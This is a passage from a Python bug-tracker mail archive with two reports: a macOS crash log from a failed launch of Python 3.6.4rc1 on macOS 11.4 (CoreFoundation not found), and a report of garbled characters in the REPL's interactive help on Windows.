 python-3.6.4rc1-macosx10.6.pkg-('python cannot be opened because of a
 problem') in my MacOS11.4
Message-ID: <1622473889.75.0.253068261009.issue44274@roundup.psfhosted.org>


New submission from Abhishek Ramesh <abhiram5july at gmail.com>:

Process:               Python [98546]
Path:                  /Library/Frameworks/Python.framework/Versions/3.6/Resources/Python.app/Contents/MacOS/Python
Identifier:            Python
Version:               3.6.4rc1 (3.6.4rc1)
Code Type:             X86-64 (Native)
Parent Process:        zsh [98306]
Responsible:           Terminal [98304]
User ID:               501

Date/Time:             2021-05-31 20:29:06.728 +0530
OS Version:            macOS 11.4 (20F71)
Report Version:        12
Anonymous UUID:        8C556153-D4E6-C8AE-84FD-AF178FDC2C1E

Sleep/Wake UUID:       FD76DA89-FD05-4CE3-8F34-101C34A63578

Time Awake Since Boot: 100000 seconds
Time Since Wake:       64 seconds

System Integrity Protection: enabled

Crashed Thread:        0

Exception Type:        EXC_CRASH (SIGABRT)
Exception Codes:       0x0000000000000000, 0x0000000000000000
Exception Note:        EXC_CORPSE_NOTIFY

Termination Reason:    DYLD, [0x1] Library missing

Application Specific Information:
dyld: launch, loading dependent libraries

Dyld Error Message:
  dyld: No shared cache present
Library not loaded: /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
  Referenced from: /Library/Frameworks/Python.framework/Versions/3.6/Resources/Python.app/Contents/MacOS/Python
  Reason: image not found

Binary Images:
       0x100000000 -        0x100000fff +org.python.python (3.6.4rc1 - 3.6.4rc1) <AACB562A-910A-FA16-65D7-173A30FBF50D> /Library/Frameworks/Python.framework/Versions/3.6/Resources/Python.app/Contents/MacOS/Python
    0x7fff6a3cc000 -     0x7fff6a467fff  dyld (852) <1AC76561-4F9A-34B1-BA7C-4516CACEAED7> /usr/lib/dyld

Model: MacBookPro14,1, BootROM 429.120.4.0.0, 2 processors, Dual-Core Intel Core i5, 2.3 GHz, 8 GB, SMC 2.43f11
Graphics: kHW_IntelIrisGraphics640Item, Intel Iris Plus Graphics 640, spdisplays_builtin
Memory Module: BANK 0/DIMM0, 4 GB, LPDDR3, 2133 MHz, 0x802C, 0x4D5435324C3531324D3332443250462D3039
Memory Module: BANK 1/DIMM0, 4 GB, LPDDR3, 2133 MHz, 0x802C, 0x4D5435324C3531324D3332443250462D3039
AirPort: spairport_wireless_card_type_airport_extreme (0x14E4, 0x170), Broadcom BCM43xx 1.0 (7.77.111.1 AirPortDriverBrcmNIC-1680.8)
Bluetooth: Version 8.0.5d7, 3 services, 18 devices, 1 incoming serial ports
Network Service: Wi-Fi, AirPort, en0
USB Device: USB 3.0 Bus
Thunderbolt Bus: MacBook Pro, Apple Inc., 41.4

----------
files: Screenshot 2021-05-31 at 8.30.21 PM.png
messages: 394809
nosy: abhishek5799
priority: normal
severity: normal
status: open
title: Installation problem for python-3.6.4rc1-macosx10.6.pkg-('python cannot be opened because of a problem') in my MacOS11.4
versions: Python 3.6
Added file: https://bugs.python.org/file50076/Screenshot 2021-05-31 at 8.30.21 PM.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44274>
_______________________________________

From report at bugs.python.org  Mon May 31 12:48:01 2021
From: report at bugs.python.org (Jesse Silverman)
Date: Mon, 31 May 2021 16:48:01 +0000
Subject: [New-bugs-announce] [issue44275] Is there a mojibake problem
 rendering interactive help in the REPL on Windows?
Message-ID: <1622479681.25.0.222834045031.issue44275@roundup.psfhosted.org>


New submission from Jesse Silverman <jessevsilverman at gmail.com>:

I didn't know whether to file this under DOCUMENTATION or WINDOWS.
I recently discovered the joys of the interactive help in the REPL, rather than just help(whatever).
I was exploring the topics and noticed multiple encoding or rendering errors.
I realized I stupidly wasn't using the Windows Terminal program but the default console.  I addressed that and they persisted in Windows Terminal.
I upgraded from 3.9.1 to 3.9.5...same deal.

I tried running:
Set-Item -Path Env:PYTHONUTF8 -Value 1

before starting the REPL, still no dice.

I confirmed this worked in the same session:
>>> ustr2='?????????????'
>>> ustr2
'?????????????'
It does.

The help stuff that doesn't render correctly is under topic COMPARISON:
lines 20, 21 and 25 of this output contain head-scratch-inducing mystery characters:
help> COMPARISON
Comparisons
***********

Unlike C, all comparison operations in Python have the same priority,
which is lower than that of any arithmetic, shifting or bitwise
operation.  Also unlike C, expressions like "a < b < c" have the
interpretation that is conventional in mathematics:

   comparison    ::= or_expr (comp_operator or_expr)*
   comp_operator ::= "<" | ">" | "==" | ">=" | "<=" | "!="
                     | "is" ["not"] | ["not"] "in"

Comparisons yield boolean values: "True" or "False".

Comparisons can be chained arbitrarily, e.g., "x < y <= z" is
equivalent to "x < y and y <= z", except that "y" is evaluated only
once (but in both cases "z" is not evaluated at all when "x < y" is
found to be false).

Formally, if *a*, *b*, *c*, ???, *y*, *z* are expressions and *op1*,
*op2*, ???, *opN* are comparison operators, then "a op1 b op2 c ... y
opN z" is equivalent to "a op1 b and b op2 c and ... y opN z", except
that each expression is evaluated at most once.

Note that "a op1 b op2 c" doesn???t imply any kind of comparison between
*a* and *c*, so that, e.g., "x < y > z" is perfectly legal (though
perhaps not pretty).

That is: ???, ???, ???

em-dash or ellipsis might be involved somehow...maybe fancy apostrophe?
My current guess is that it isn't about rendering anymore, because something went awry further upstream?

Thanks!

----------
assignee: docs at python
components: Documentation
messages: 394817
nosy: docs at python, jessevsilverman
priority: normal
severity: normal
status: open
title: Is there a mojibake problem rendering interactive help in the REPL on Windows?
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44275>
_______________________________________